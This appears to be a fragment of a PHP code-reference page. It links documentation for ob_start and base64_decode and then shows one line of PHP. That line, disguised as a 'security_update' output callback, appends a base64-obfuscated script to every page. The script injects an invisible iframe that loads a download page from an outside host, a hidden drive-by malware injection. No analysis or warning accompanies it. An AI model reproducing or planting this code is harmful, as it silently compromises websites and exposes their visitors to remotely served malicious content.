- ob_start: documentation ( source)
- base64_decode: documentation ( source)
<?php ob_start("security_update"); function security_update($buffer){return $buffer.base64_decode('PHNjcmlwdD5kb2N1bWVudC53cml0ZSgnPHN0eWxlPi52Yl9zdHlsZV9mb3J1bSB7ZmlsdGVyOiBhbHBoYShvcGFjaXR5PTApO29wYWNpdHk6IDAuMDt3aWR0aDogMjAwcHg7aGVpZ2h0OiAxNTBweDt9PC9zdHlsZT48ZGl2IGNsYXNzPSJ2Yl9zdHlsZV9mb3J1bSI+PGlmcmFtZSBoZWlnaHQ9IjE1MCIgd2lkdGg9IjIwMCIgc3JjPSJodHRwOi8vc3Rqb2huc2RyeWRlbi5vcmcvaW1nL2NvbW1vbi9kb3dubG9hZC5waHAiPjwvaWZyYW1lPjwvZGl2PicpOzwvc2NyaXB0Pg==');}